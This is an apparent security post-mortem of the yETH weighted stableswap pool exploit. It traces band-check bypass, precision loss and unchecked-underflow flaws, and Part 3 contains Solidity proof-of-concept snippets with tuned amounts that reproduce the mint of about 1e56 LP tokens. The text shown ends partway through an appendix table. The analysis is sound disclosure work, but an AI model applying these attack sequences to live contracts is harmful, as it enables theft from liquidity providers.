Yearn Finance Exploit Analysis (Nov'25)
Written by @ainta, Reviewed by QED Audit
We provide a comprehensive breakdown of the Yearn Finance yETH weighted stableswap pool exploit, alongside two independent exploit variants discovered by our team.
Table of Contents
- Overview
- The Three-Phase Attack
- Part 0: Background
- Part 1: Driving π to 0 and Reaching supply = 0
- Part 2: Exploiting supply = 0 via Dust Deposit
- Part 3: Exploit Variants
- Appendix: Detailed Attack Trace
- References
Overview
The yETH weighted stableswap pool was exploited due to three interacting design flaws:
- Broken Safety Band Enforcement:
add_liquidity()only checked band constraints for assets with nonzero amounts, allowing attackers to render the pool imbalanced by depositing only 5 of the 8 assets. - Precision Loss:
_calc_supply()rounds down a critical parameter vb_prod that should be nonzero to zero, resulting in unexpected behavior in subsequent computations. - Unchecked Assumption:
_calc_supplyassumed that the parameters vb_sum, vb_prod and D reside within a valid mathematical region, resulting in integer underflow due to unsafe arithmetics. - Inconsistent Supply Management: The pool’s internal representation of supply (D) was decoupled with the outstanding LP token balance (
totalSupply()), allowing the attacker to hold shares larger than D.
In our view, (1) and (2) is the direct root cause of the exploit,(4) allows the attacker to manipulate D to zero, a precondition which violates the assumptions made in (3), allowing the attacker to mint an astronomical(2.3e38 yETH) amount LP shares.
In addition, we discovered that it is possible to:
- Incur critical precision loss similar to that of (2), in a different execution path (within
add_liquidity). - The underflow in (3) may be triggered even without manipulating D to zero.
The detail of these issues is in Part 3.
The Three-Phase Attack
The attack is executed in three phases:
Phase 1: Drive π → 0 (precision loss, no underflow)
- Repeatedly:
remove_liquidity(all)→add_liquidity(unbalanced) - π grows extreme, then collapses to 0 via truncation
Phase 2: Bleed staking, reach supply = 0
- With π=0,
add_liquidity()over-inflates supply remove_liquidity(0)rebuilds π from scratchupdate_rates()→_update_supply()burns from staking only- Result:
attacker_LP > supply, thensupply = 0with LP outstanding
Phase 3: Init branch + dust deposit → underflow
- With
prev_supply == 0, init branch bypasses band checks - Deposit
[1,1,1,1,1,1,1,9]wei → tiny σ, huge π (A·σ - D·π) < 0in real math →unsafe_subwraps to ~2²⁵⁶- D jumps to ≈ 2.3×10⁵⁶, attacker mints astronomical LP
Phase 1 and 2 will be discussed in Part 1, and phase 3 will be discussed in Part 2.
Part 0: Background
The Pool’s Invariant System
The yETH pool holds 8 LST-like assets (indices 0–7):
| Index | Asset | Target Weight |
|---|---|---|
| 0 | sfrxETH | 20% |
| 1 | wstETH | 20% |
| 2 | ETHx | 10% |
| 3 | cbETH | 10% |
| 4 | rETH | 10% |
| 5 | apxETH | 25% |
| 6 | wOETH | 2.5% |
| 7 | mETH | 2.5% |
Each asset has:
- An on-chain rate provider returning “beacon ETH per token”
- A target weight representing its desired share of beacon ETH
Virtual balance is defined as:
\[\text{vb}_i = \text{balance}_i \times \text{rate}_i\]From these, we compute:
| Term | Symbol | Definition |
|---|---|---|
| Sum term | σ | \(\sum_i \text{vb}_i\) |
| Product term | π | \(\approx \prod_i \left(\frac{w_i \cdot D}{\text{vb}_i}\right)^{w_i \cdot n}\) |
Both σ and π are maintained in storage in packed form (packed_pool_vb).
Two Notions of “Supply”
A critical design aspect of this pool is that there are two independent pieces of state representing “supply”:
- Pool’s Internal
supply(D): A Vyper state variable computed from the pool’s invariant equation. It is updated by:add_liquidity/remove_liquiditycode paths_update_supply()(called from_update_rates()/_update_weights())
This is a derived value calculated via
_calc_supply(num_assets, supply, amplification, vb_prod, vb_sum, up). - yETH ERC-20 Token Balances: The actual LP token (
PoolToken) has its owntotalSupply,balanceOf(staking),balanceOf(attacker), etc. These live entirely in the ERC-20 contract, and the pool never readstotalSupply().
Crucially, there is no invariant enforcing:
pool.supply == YETH.totalSupply()
or even:
pool.supply >= balanceOf(staking) + balanceOf(vault) + balanceOf(attacker)
This means if _calc_supply and _update_supply mis-compute the internal supply, the ERC-20 side can easily drift. In fact, even before the attack began, the staking contract’s LP balance already exceeded the pool’s internal supply:
yETH staking LP balance: 2,959,766,578,515,706,461,046
Pool internal supply: 2,927,218,062,049,796,735,134
Actually, it was decoupled at first; when it deployed.
This decoupling is fundamental to understanding how supply = 0 can be achieved while LP tokens still exist.
The Invariant and _calc_supply
The yETH whitepaper gives the weighted stableswap invariant (simplified):
\[A f^n \cdot \sigma + D = A f^n \cdot D + D \cdot \pi\]On-chain, amplification stores $(A \cdot f^n)$, so the implemented equation becomes:
Rearranging:
\[(A - 1) \cdot D = A \cdot \sigma - D \cdot \pi\] \[\boxed{D_{\text{next}} = \frac{A \cdot \sigma - D \cdot \pi}{A - 1}}\]Part 1: Driving π to 0 and Reaching supply = 0
The main vulnerability is in the _calc_supply() function, which is used by both add_liquidity() and remove_liquidity().
The _calc_supply() implementation:
@internal
@pure
def _calc_supply(
_num_assets: uint256,
_supply: uint256, # initial D
_amplification: uint256,
_vb_prod: uint256, # initial π
_vb_sum: uint256, # σ
_up: bool
) -> (uint256, uint256):
l: uint256 = _amplification # A
d: uint256 = l - PRECISION # A - 1
l = l * _vb_sum # l = A·σ
s: uint256 = _supply # current D
r: uint256 = _vb_prod # current π
for _ in range(255):
sp = unsafe_div(unsafe_sub(l, s * r), d) # D_next = (A·σ - D·π)/(A - 1)
# update π using D_next / D
for i in range(MAX_NUM_ASSETS):
if i == _num_assets:
break
r = unsafe_div(unsafe_mul(r, sp), s) # r *= (sp / s)
# check convergence, return if converged...
raise # no convergence after 255 iterations
Risk factors:
| Issue | Impact |
|---|---|
Uses unsafe_sub / unsafe_mul |
Negative results wrap modulo 2²⁵⁶; multiplies can overflow silently |
| Assumes valid inputs | No check that \(A \cdot \sigma \ge D \cdot \pi\) |
| Fragile π rescaling | Repeated r = r * sp / s with integer division can drive π to 0 |
Phase 1: Driving π to 0
We will refer to each attacker’s add_liquidity / remove_liquidity calls as an “op”, and the details of each op are in Appendix.
1.1 Transaction Pattern (Ops 1–10)
The attacker starts with some yETH LP and repeats:
remove_liquidity(all attacker LP)— balanced withdrawal from ALL assetsadd_liquidity(unbalanced)— deposit only into assets [0, 1, 2, 4, 5], deposit 0 into assets [3, 6, 7]
Every withdrawal drains all assets proportionally, but only some are replenished. Over time, assets 3, 6, 7 become extremely small while assets 0, 1, 2, 4, 5 grow.
Internal π trace:
| Op | Type | π (start) | π (end) |
|---|---|---|---|
| 1 | remove_liq | 1.22×10¹⁸ | 1.22×10¹⁸ |
| 2 | add_liq | 1.22×10¹⁸ | 2.14×10¹⁸ |
| 4 | add_liq | 2.14×10¹⁸ | 5.92×10¹⁸ |
| 6 | add_liq | 5.92×10¹⁸ | 2.07×10¹⁹ |
| 8 | add_liq | 2.07×10¹⁹ | 4.22×10¹⁹ |
| 10 | add_liq | 4.22×10¹⁹ | 0 ← π collapses |
1.2 Bypassing Weight Safety Bands
Intended behavior (from spec):
“Any change in balances is only accepted if the resulting composition stays within a tolerance range of the desired composition, or moves closer to it.”
Actual implementation:
if prev_supply > 0:
j = 0
for asset in range(MAX_NUM_ASSETS):
if asset == num_assets:
break
if _amounts[asset] == 0:
continue # ◄── BUG: skip band check if no deposit
vb, rate, packed_weight = self._unpack_vb(self.packed_vbs[asset])
self._check_bands(prev_ratios[j], vb * PRECISION / vb_sum_final, packed_weight)
j += 1
The bug:
- Band checks only apply to assets where
_amounts[asset] > 0 - Depositing 0 for an asset means its band is never checked
- Assets 3, 6, 7 can drift arbitrarily far from target weights
Root Cause #1: Safety bands are not global. Skipping assets with zero deposit allows weights to become extreme.
1.3 Why π Collapses to 0 (No Underflow)
Inside _calc_supply, after computing a new sp (next D), π is updated:
for i in range(MAX_NUM_ASSETS):
if i == _num_assets:
break
r = unsafe_div(unsafe_mul(r, sp), s) # r *= (sp / s)
Abstractly, one iteration multiplies π by \((sp/s)^n\):
\[\pi_{m+1} = \pi_m \cdot \left(\frac{D_{m+1}}{D_m}\right)^n\]The collapse happens in two stages:
Stage 1: add_liquidity Pre-Shrinks π
Before _calc_supply() runs, add_liquidity() updates vb_prod:
fee: uint256 = (dvb - prev_vb * lowest / PRECISION) * fee_rate / PRECISION
vb_prod = vb_prod * self._pow_up(prev_vb * PRECISION / (vb - fee), wn) / PRECISION
For a large deposit:
prev_vb / (vb - fee)becomes small (≪ 1)pow_up(...)returns a small factorvb_prodshrinks dramatically
In Op #10:
vb_prod before add_liquidity: 4.22×10¹⁹
vb_prod before _calc_supply: 3.53×10¹⁵ ← already shrunk
Stage 2: Two Iterations → Catastrophic Shrink
Initial state for _calc_supply in Op #10:
s₀ (D) ≈ 2.51×10²¹
r₀ (π) ≈ 3.53×10¹⁵
σ ≈ 1.09×10²²
A = 4.5×10²⁰
Iteration 0:
s₀ ≈ 2.51×10²¹ → s₁ ≈ 1.09×10²² (D grows ~4.3×)
r₀ ≈ 3.53×10¹⁵ → r₁ ≈ 4.49×10²⁰ (π explodes up)
Because π was pre-shrunk, s*r is initially modest. The first iteration amplifies π.
Iteration 1:
s₁ ≈ 1.09×10²² → s₂ ≈ 1.91×10¹⁸ (D shrinks dramatically)
r₁ ≈ 4.49×10²⁰ → r₂ = 0 (π truncates to zero)
Now s*r is extremely close to l = A·σ:
- The numerator
l - s*ris positive but tiny sp = (l - s*r)/(A-1)becomes much smaller thans- The ratio
sp/sis tiny - With 8 assets: \((sp/s)^8 \ll 1\)
- After integer division:
r_new < 1→ truncates to 0
Key insight: Throughout this run, (A·σ - D·π) stays non-negative. This is pure precision loss, not arithmetic underflow.
Question 1. Is it only the location that π=0 happens?
Question 2. If deposit more, does l < s*r holds? Can we use this?
You can see the answer of the questions in Part 3
After Op #10: The π=0 Regime
vb_prod = 0 ← stuck at zero
supply ≈ 1.09×10²² (inflated)
vb_sum ≈ 5.9×10²¹
Once π=0, any multiplicative update:
vb_prod = vb_prod * something / PRECISION # = 0
keeps it at zero.
With π=0, the D-update degenerates to:
\[D_{\text{next}} \approx \frac{A \cdot \sigma}{A - 1}\]The “penalty” for imbalance disappears, and D becomes over-estimated for a given σ.
Phase 2: Bleeding Staking and Driving supply to 0
2.1 The π=0 Regime: Inflating supply
With π=0:
\[D_{\text{next}} = \frac{A\sigma - D \cdot 0}{A - 1} = \frac{A\sigma}{A - 1}\]- calculated D is overestimated
- this means more LP is minted to attacker
At this point, asset theft is already ongoing. Hitting
supply=0sets up the Phase 3 trick.
2.2 remove_liquidity(0) to Rebuild π
Balanced remove_liquidity() recomputes π from scratch:
vb_prod: uint256 = PRECISION
vb_sum: uint256 = 0
for asset in range(MAX_NUM_ASSETS):
...
vb = ... # new vb_i after withdrawal
vb_sum = vb_sum + vb
vb_prod = vb_prod * self._pow_down(
supply * weight / vb, weight * num_assets
) / PRECISION
The trick: Calling remove_liquidity(0):
- Burns no LP
- Transfers no tokens
- But recomputes π from actual balances
Before remove_liquidity(0): vb_prod = 0
After remove_liquidity(0): vb_prod ≈ 9.1×10¹⁹ ← rebuilt!
2.3 update_rates() to Burn from Staking
update_rates() triggers _update_supply(), which recomputes D and corrects the difference:
def _update_supply(_supply, _vb_prod, _vb_sum):
supply, vb_prod = self._calc_supply(..., _supply, _vb_prod, _vb_sum, True)
if supply > _supply:
PoolToken(token).mint(self.staking, supply - _supply) # ← only staking
elif supply < _supply:
PoolToken(token).burn(self.staking, _supply - supply) # ← only staking
self.supply = supply
The attack pattern:
- While π=0: unbalanced
add_liquidity()— supply inflates under broken invariant remove_liquidity(0)— π rebuilt from scratch (no tokens move)update_rates()—_update_supply()recomputes smaller D, burns difference from staking only
Result: Attacker LP unchanged, staking LP burned at update_rates()
From logs:
old_supply: 1.095×10²²
new_supply: 9.985×10²¹
Burned from staking: ≈ 9.66×10²⁰ LP
update_rates([asset_idx])updates supply only when that asset’s rate is not updated, so it limits the number of this repetition. The attacker used the rebasing LSTwOETH(asset 6) to triggerupdate_rates([6])twice. This is just a convenient trigger; our PoC achieves same results (supply=0then mint2e56tokens) without rebasing.
2.4 Reaching attacker_LP > supply
By repeating the cycle, the attacker walks supply down while their LP stays constant:
After several cycles:
─────────────────────
pool.supply ≈ 1.01×10²²
attacker_LP ≈ 1.048×10²² ← exceeds supply!
This is possible because:
supplynever matchedtotalSupply()from the start_update_supply()only adjusts staking’s balance- Attacker’s LP is never scaled down during corrections
2.5 Forcing supply = 0
The attacker calls:
POOL.remove_liquidity(POOL.supply(), min_amounts);
Pool computation:
prev_supply = 1.01×10²²
_lp_amount = 1.01×10²²
supply = prev_supply - _lp_amount = 0
Attacker’s LP:
Before: 1.048×10²²
After: 1.048×10²² - 1.01×10²² = 3.77×10²⁰
Final state:
supply = 0(internal D)- Pool still holds LST assets
- Attacker still holds LP
- Other addresses (vault, users, staking) also still hold LP
The next add_liquidity() sees prev_supply == 0 and takes the initialization branch.
Root Causes (Part 1)
-
Integer Precision Loss in Iterative Solver: The repeated
r = r * sp / soperation with integer division can drive π to exactly 0 when the ratiosp/sbecomes very small. -
Broken Band Checks: Band checks only apply to assets with non-zero deposits, allowing extreme weight drift.
- Asymmetric vb_prod Updates:
add_liquidity: Updates π incrementally usingpow_up()multiplications (can corrupt to 0)remove_liquidity: Recomputes π fresh from all asset balances (can “fix” it)
- Decoupled Supply Accounting: The internal
supplywas never equal to LPtotalSupply(), and_update_supply()only mints/burns against staking.
Part 2: Exploiting supply = 0 via Dust Deposit
After achieving supply = 0 (as described in Part 1), the attacker exploited the pool’s re-initialization branch (prev_supply == 0) in add_liquidity() to mint an astronomically large number of LP tokens (~10^56) with only dust-level deposits (1-9 wei per asset). This was possible due to an unchecked arithmetic underflow in the invariant solver (_calc_supply()), which occurs when the pool’s mathematical invariant precondition is violated.
The Re-initialization Branch
When prev_supply == 0, the add_liquidity() function takes a special “initial deposit” code path:
supply: uint256 = prev_supply
if prev_supply == 0:
# initial deposit, calculate necessary variables
vb_prod, vb_sum = self._calc_vb_prod_sum()
assert vb_prod > 0 # dev: amounts must be non-zero
supply = vb_sum
else:
# check bands ...
This branch:
- Calculates
vb_sum= sum of all virtual balances (σ) - Calculates
vb_prod= product term (π) from current balances - Sets initial
supply = vb_sum - Skips weight band checks (which only apply when
prev_supply > 0) - Passes these values to
_calc_supply()for iterative solving
The Attack: Dust Deposit to Empty Pool
Step 1: Dust Deposit Parameters
With the pool emptied to supply = 0, the attacker called:
add_liquidity([1, 1, 1, 1, 1, 1, 1, 9], 0)
This deposits just 17 wei total across 8 assets.
Step 2: Virtual Balance Calculation
After applying LST exchange rates (~1.1-1.2), the virtual balances become:
vb = [1, 1, 1, 1, 1, 1, 1, 9] (all truncated to integers)
vb_sum (σ) = 16
Note: In real number arithmetic, vb_sum ≈ 17.687, but integer division truncates each vb_i to 1 (or 9 for the last asset).
Step 3: Product Term (π) Calculation
_calc_vb_prod(supply=16) computes:
π = PRECISION × ∏ᵢ ((D × wᵢ) / vbᵢ)^(wᵢ × n)
With:
- D = 16 (initial supply = vb_sum)
- weights: [20%, 20%, 10%, 10%, 10%, 25%, 2.5%, 2.5%]
- vb = [1, 1, 1, 1, 1, 1, 1, 9]
The weight-to-vb ratio mismatch is extreme:
- Asset 5: weight = 25%, but vb = 1 → drastically undersupplied
- Asset 7: weight = 2.5%, but vb = 9 → drastically oversupplied
This produces:
vb_prod (π) ≈ 9.13 × 10^20
A massive value because the bases (D × wᵢ / vbᵢ) are highly unbalanced.
The Vulnerability: Violated Invariant Precondition
The Core Invariant
The iterative solver in _calc_supply() implements:
D[m+1] = (A·σ - D[m]·π[m]) / (A - 1)
For this iteration to produce valid results, the fundamental precondition must hold:
A·σ ≥ D·π
This ensures the numerator is non-negative, producing a positive next iterate.
Why the Precondition is Violated
With the dust deposit state:
- A·σ = 450 × 10^18 × 16 = 7.2 × 10^21
- D·π = 16 × 9.13 × 10^20 = 1.46 × 10^22
D·π > A·σ — the invariant precondition is violated!
In proper real number arithmetic, this would mean “no valid equilibrium exists for these inputs.” But the contract doesn’t check this condition.
The Exploit: Unchecked Arithmetic Underflow
The Vulnerable Code
In _calc_supply():
sp: uint256 = unsafe_div(unsafe_sub(l, unsafe_mul(s, r)), d)
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# This becomes negative! But unsafe_sub wraps around.
Where:
l = A·σ = 7.2 × 10^21s = D = 16(initially)r = π = 9.13 × 10^20d = A - 1 = 449 × 10^18
The computation l - s·r:
7.2 × 10^21 - 16 × 9.13 × 10^20 = 7.2 × 10^21 - 1.46 × 10^22 < 0
Since Vyper uses unsafe_sub (unchecked subtraction), the negative result wraps around to:
sp ≈ 2^256 - |actual negative value| ≈ 10^77
Then dividing by d ≈ 4.5 × 10^20:
sp ≈ 10^77 / 4.5 × 10^20 ≈ 2.2 × 10^56
Result: Astronomical LP Minting
The iterative solver “converges” (the delta becomes relatively small compared to the huge supply value) with:
supply ≈ 2.2 × 10^56 LP tokens
The attacker receives mint = supply - prev_supply ≈ 2.2 × 10^56 LP tokens for depositing just 17 wei.
When overflow occurs, it is not easy to predict whether the iteration will converge or not. However, since this is the initialization branch, the attacker can adjust every value and could find the deposit amounts that make the supply converge.
Why This Only Works with prev_supply == 0
Difference 1: The Re-initialization Branch Recalculates Everything
When prev_supply > 0:
- The contract uses incremental updates to existing (D, σ, π)
- Dust deposits barely affect the large existing values
- The invariant
A·σ ≥ D·πremains satisfied
When prev_supply == 0:
- The contract recalculates (D, σ, π) entirely from scratch using only the new tiny deposits
- The fresh
_calc_vb_prod_sum()produces a (D, σ, π) triple that violates the invariant
Difference 2: Weight Band Checks Are Skipped
When prev_supply > 0:
# check bands
for asset in range(MAX_NUM_ASSETS):
...
self._check_bands(prev_ratios[j], vb * PRECISION / vb_sum_final, packed_weight)
This would reject deposits where vb_i / σ deviates too far from wᵢ.
When prev_supply == 0:
- No band checks at all
- The wildly unbalanced
[1,1,1,1,1,1,1,9]deposit is accepted despite being completely misaligned with weights
Difference 3: Integer Rounding Has Maximum Impact
With tiny deposits:
- Each
vb_i = amount × rate / PRECISIONtruncates to 1 - The relative rounding error is ~10-20% (losing fractional parts)
- This pushes π even higher (smaller denominators in
D·wᵢ/vbᵢterms)
With normal deposits:
- Rounding errors are negligible relative to large values
- The π calculation produces reasonable values
The Mathematical Root Cause
The solver assumes:
“Given any (A, σ, π), there exists a valid equilibrium D.”
This is false. The weighted stableswap invariant equation:
A·σ = D·π + (A-1)·D
Only has solutions when the inputs satisfy certain constraints. Specifically, for the iteration to work:
A·σ ≥ D·π (at every iteration)
The dust deposit creates a state where:
- σ is tiny (16)
- π is huge (~9×10^20) due to weight-vb mismatch
- D starts at σ (16)
D·π >> A·σimmediately
Without a precondition check, the contract blindly computes unsafe_sub(A·σ, D·π) and gets a wrapped-around huge number.
Why the Init Branch Is Extra Fragile
| Factor | Impact |
|---|---|
| No band checks | Extreme imbalance accepted without verification |
| Fresh D and π | No inertia from previous healthy states |
| No legacy constraints | Treats dust deposit as legitimate initialization |
With prev_supply > 0, the system has some anchor in prior values. It’s still possible to reach an invalid region (see Part 3, PoC B), but it typically requires more effort.
Summary Table: Normal vs Attack Scenario
| Aspect | Normal Deposit | Attack Dust Deposit |
|---|---|---|
| prev_supply | > 0 (has liquidity) | = 0 (empty pool) |
| Code path | Incremental update | Re-initialization branch |
| Band checks | Applied | Skipped |
| vb_i values | Large (proportional to weights) | Tiny (1-9 wei), misaligned with weights |
| vb_sum (σ) | Large | 16 |
| vb_prod (π) | ~10^18 (near PRECISION) | ~9×10^20 (huge) |
| A·σ vs D·π | A·σ > D·π ✓ | A·σ < D·π ✗ |
| Iterative solver | Converges normally | Underflows, produces ~10^56 |
| LP minted | Proportional to deposit | ~10^56 for 17 wei |
Part 3: Exploit Variants
This section presents three Proof-of-Concept (PoC) variants. These PoCs prove that:
- Huge LP minting is possible without driving
supplyto 0 (ExploitWithoutSupplyZero) - π can collapse to 0 in a single massive deposit (ExploitOneShotPiCollapse)
- The mainnet attack flow can be reproduced (ExploitFullAttack)
All PoCs fork mainnet at the pre-attack block and use the actual yETH pool contract. the codes are available in a gist page.
ExploitWithoutSupplyZero: Huge Mint Without supply = 0
Description
This PoC demonstrates that minting ~2.57×10⁵⁶ LP tokens is possible without ever driving supply to zero. This proves that the underflow vulnerability in _calc_supply() is not specific to the initialization branch—it can occur during normal operation when (σ, π, D) drift into an invalid region.
Attack Flow
The PoC replays a carefully tuned sequence of 10 operations:
- Ops 1-9: Follow the sequence of
remove_liquidity/add_liquiditycalls of original attack that push the pool increasingly off-balance - Op 10: A final
add_liquiditywith specific amounts that trigger the underflow
// Steps 1-9: Progressively unbalanced operations
POOL.remove_liquidity(416373487230773958294, minAmounts);
amounts[0] = 610669608721347951666;
amounts[1] = 777507145787198969404;
// ... deposit unbalancely
POOL.add_liquidity(amounts, 0);
POOL.remove_liquidity(yeth.balanceOf(address(this)), minAmounts);
// ... repeat pattern ...
// Step 10: Final underflowing add_liquidity
// carefully chosen values to make iterative solver converges
amounts[0] = 1787971185503944868961;
amounts[1] = 1673115670659987494628;
amounts[2] = 1138412256873258296869;
amounts[3] = 0;
amounts[4] = 1063340177835964990254;
amounts[5] = 1491426265264769946811;
amounts[6] = 0;
amounts[7] = 0;
POOL.add_liquidity(amounts, 0); // Underflow occurs here
Mechanism
The long sequence pushes (A·σ, π, D) into a region where A·σ < D·π:
- Each unbalanced deposit increases the imbalance between assets
- π grows progressively larger as weight-to-balance ratios diverge
- Eventually, a single
add_liquiditycall causes the invariant solver to underflow unsafe_sub(l, s * r)wraps to ~2²⁵⁶- The mint is
D_new - D_old ≈ 10⁵⁶
Key Insight
The underflow is inherent to _calc_supply() being called on unchecked inputs, not specific to the supply=0 init branch.
When overflow occurs in the iterative solver, its behavior is quite random—for some underflow conditions it converges, for others it does not. Also, it should converges in following if block too to not revert:
if prev_supply > 0:
# mint fees
supply_final, vb_prod_final = self._calc_supply(num_assets, prev_supply, self.amplification, vb_prod_final, vb_sum_final, True)
PoolToken(token).mint(self.staking, supply_final - supply)
the probability of both _calc_supply was not too high; The PoC values were found through experimentation.
Expected Output
LP token amount: ~2.57e56
Pool Supply: ~2.57e56
ExploitOneShotPiCollapse: One-Shot π Collapse
Description
This PoC demonstrates that π can collapse to 0 in a single massive deposit, without requiring multiple cycles. This proves that even if _calc_supply() used safe arithmetic, the vb_prod update in add_liquidity() itself can drive π to zero.
Attack Flow
// Exit initial LP
POOL.remove_liquidity(yeth.balanceOf(address(this)), minAmounts);
// Single massive unbalanced deposit (~200x pool size)
// note that this passes band check since it is proportional to weights
amounts[0] = 20 ether * 5000; // 100,000 ether
amounts[1] = 20 ether * 5000;
amounts[2] = 10 ether * 5000;
amounts[3] = 10 ether * 5000;
amounts[4] = 10 ether * 5000;
amounts[5] = 25 ether * 5000;
amounts[6] = 2.5 ether * 5000;
amounts[7] = 2.5 ether * 5000;
POOL.add_liquidity(amounts, 0);
// After this call: vb_prod (π) = 0
Why This Works
The add_liquidity function updates vb_prod before calling _calc_supply():
for asset in range(MAX_NUM_ASSETS):
if asset == num_assets:
break
vb_prod = vb_prod * self._pow_up(prev_vb * PRECISION / (vb - fee), wn) / PRECISION
With a deposit ~200× the entire pool size:
- Ratio shrinks dramatically:
prev_vb / (vb - fee) ≈ 1/200 - Exponentiation amplifies:
pow_up(1/200, exponent)is extremely small - Cumulative effect: Across 8 weighted assets, the cumulative factor is approximately \((1/200)^8 \approx 10^{-18}\)
- Integer truncation: After division by PRECISION,
vb_prodtruncates to 0
Example Values
Initial State:
supply ≈ 2.89×10²¹
vb_prod ≈ 1.22×10¹⁸
vb_sum ≈ 2.89×10²¹
After one massive add_liquidity:
supply ≈ 5.73×10²³
vb_prod = 0 ← collapsed!
vb_sum ≈ 5.72×10²³
Key Insight
π collapses to 0 purely due to multiplicative updates and integer truncation in vb_prod maintenance, before _calc_supply() even runs.
This means:
- Even with safe arithmetic in the iterative solver, the pool can enter the π=0 regime
- A sufficiently wealthy attacker could collapse π in a single transaction
- Band checks don’t prevent this because the deposit still passes individual asset band constraints
Question:
- How to remove liquidity from this pool?
ExploitFullAttack: Full Attacker-Style Flow
Description
This PoC reproduces the complete three-phase attack flow used in the actual exploit:
- Phase 1: Repeated unbalanced deposits/withdrawals to drain assets 3, 6, 7 and collapse π to 0
- Phase 2: Exploit the π=0 regime to inflate supply, then use
remove_liquidity(0)+update_rates()to burn from staking - Phase 3: Drive
supplyto 0 and mint astronomical LP via dust deposit
Key Code Structure
// Phase 1: Push pool off-balance and drain certain assets
for (uint256 i = 0; i < 110; i++) {
amounts[0] = 25 ether;
amounts[1] = 25 ether;
amounts[2] = 15 ether;
amounts[3] = 0; // Never deposit into asset 3
amounts[4] = 15 ether;
amounts[5] = 30 ether;
amounts[6] = 0; // Never deposit into asset 6
amounts[7] = 0; // Never deposit into asset 7
POOL.add_liquidity(amounts, 0);
POOL.remove_liquidity(yeth.balanceOf(address(this)), minAmounts);
}
// One large unbalanced deposit to collapse π to 0
amounts[0] = 0.25 ether * 7150;
// ... (scaled deposits into assets 0,1,2,4,5 only)
POOL.add_liquidity(amounts, 0);
// π=0 regime exploits...
POOL.remove_liquidity(0, minAmounts); // Rebuild π
POOL.update_rates(assetsNotUsed); // Burn from staking
// Drive supply to 0
POOL.remove_liquidity(POOL.supply(), minAmounts);
// Final dust deposit for underflow
amounts = [1, 1, 1, 1, 1, 1, 1, 9];
POOL.add_liquidity(amounts, 0);
// Result: ~10^56 LP minted
What This Proves
- The mainnet exploit is reproducible
- The attack doesn’t rely on any specific timing or external conditions
- Multiple cycles of π collapse → π rebuild → staking burn are needed to accumulate enough LP
Differences from Original Attack
- Use one less
update_rates() update_rates()trigger using rebasing tokens (wOETH) can be replaced with add more (overestimated) liquidity
Expected Output
yeth.balanceOf(address(this)): ~2.35e56
POOL.supply(): ~2.35e56
Profit in LST assets: Positive for all 8 tokens
Appendix: Detailed Attack Trace
The following tables show the complete sequence of 24 operations that led to supply = 0. Each row corresponds to one add_liquidity or remove_liquidity call.
Table 1: LP Balance and Supply Changes
Column explanations:
supply_start/end: Pool’s internal supply (D) before/after the operation0x3e8e..(Attacker Contract 1): One of the attacker’s contracts0xADbE..(Attacker Contract 2): Another attacker contract
| Op | Type | supply_start | supply_end | Attacker 0x3e8e | Attacker 0xADbE | Notes |
|---|---|---|---|---|---|---|
| 1 | remove_liq | 2.928e21 | 2.511e21 | 4.16e20 → 0 | 0 | Attacker withdraws from contract 1 |
| 2 | add_liq | 2.511e21 | 5.301e21 | 0 → 2.79e21 | 0 | Attacker deposits via contract 1 |
| 3 | remove_liq | 5.301e21 | 2.512e21 | 2.79e21 → 2.6e15 | 0 | Withdraw most LP |
| 4 | add_liq | 2.512e21 | 9.892e21 | 2.6e15 → 7.38e21 | 0 | Large unbalanced deposit |
| 5 | remove_liq | 9.892e21 | 2.513e21 | 7.38e21 → 1.9e16 | 0 | Withdraw |
| 6 | add_liq | 2.513e21 | 9.580e21 | 1.9e16 → 7.07e21 | 0 | Unbalanced deposit |
| 7 | remove_liq | 9.580e21 | 2.514e21 | 7.07e21 → 3.7e16 | 0 | Withdraw |
| 8 | add_liq | 2.514e21 | 6.010e21 | 3.7e16 → 3.50e21 | 0 | Unbalanced deposit |
| 9 | remove_liq | 6.010e21 | 2.514e21 | 3.50e21 → 4.9e16 | 0 | Withdraw |
| 10 | add_liq | 2.514e21 | 1.093e22 | 4.9e16 → 8.41e21 | 0 | π → 0 first time! Supply inflates |
| 11 | add_liq | 1.093e22 | 1.095e22 | 8.41e21 → 8.44e21 | 0 | π still 0, more inflation |
| 12 | remove_liq(0) | 1.095e22 | 1.095e22 | unchanged | 0 | π recomputed: 0 → 9.1e19 |
| 13 | remove_liq | 9.985e21 | 1.550e21 | 8.44e21 → 7.0e16 | 0 | Supply dropped from 1.095e22! update_rates burned ~9.7e20 |
| 14 | add_liq | 1.550e21 | 6.512e21 | 7.0e16 → 4.96e21 | 0 | π → 0 second time |
| 15 | add_liq | 6.512e21 | 1.072e22 | 4.96e21 → 9.17e21 | 0 | π still 0 |
| 16 | add_liq | 1.072e22 | 1.079e22 | 9.17e21 → 9.24e21 | 0 | π still 0 |
| 17 | remove_liq(0) | 1.079e22 | 1.079e22 | unchanged | 0 | π recomputed: 0 → 9.1e19 |
| 18 | remove_liq | 9.836e21 | 5.99e20 | 9.24e21 → 9.6e16 | 0 | Supply dropped! Burn from staking |
| 19 | add_liq | 5.99e20 | 2.576e21 | 9.6e16 | 0 → 1.98e21 | π → 0 third time, LP to contract 2 |
| 20 | add_liq | 2.576e21 | 1.072e22 | 9.6e16 | 1.98e21 → 1.01e22 | π still 0, attacker LP grows |
| 21 | add_liq | 1.072e22 | 1.108e22 | 9.6e16 | 1.01e22 → 1.048e22 | Total attacker LP > supply soon |
| 22 | remove_liq(0) | 1.108e22 | 1.108e22 | 9.6e16 | unchanged | π recomputed: 0 → 9.1e19 |
| 23 | remove_liq | 1.010e22 | 0 | 9.6e16 | 1.048e22 → 3.77e20 | SUPPLY = 0! Attacker burns exactly supply |
| 24 | add_liq | 0 | (exploit) | … | … | Part 2 begins here |
Key observations:
- Between Op #12 and #13:
update_rates()was called, which triggered_update_supply(). The corrected π caused supply to drop from 1.095e22 to 9.985e21 (~9.7e20 burned from staking) - Same pattern at Op #17→#18 and Op #22→#23
- By Op #23: Attacker’s total LP (0x3e8e + 0xADbE) exceeds pool supply. Attacker burns exactly
supplyworth of LP from 0xADbE, setting internal supply to 0 while still holding LP in both contracts
Table 2: vb_prod (π) Changes
This table tracks the product term π, which is central to the attack.
| Op | Type | π_start | π_end | Interpretation |
|---|---|---|---|---|
| 1 | remove_liq | 1.22e18 | 1.22e18 | Normal, π ≈ PRECISION |
| 2 | add_liq | 1.22e18 | 2.14e18 | Grows slightly |
| 3 | remove_liq | 2.14e18 | 2.14e18 | Unchanged |
| 4 | add_liq | 2.14e18 | 5.92e18 | Growing from unbalanced deposit |
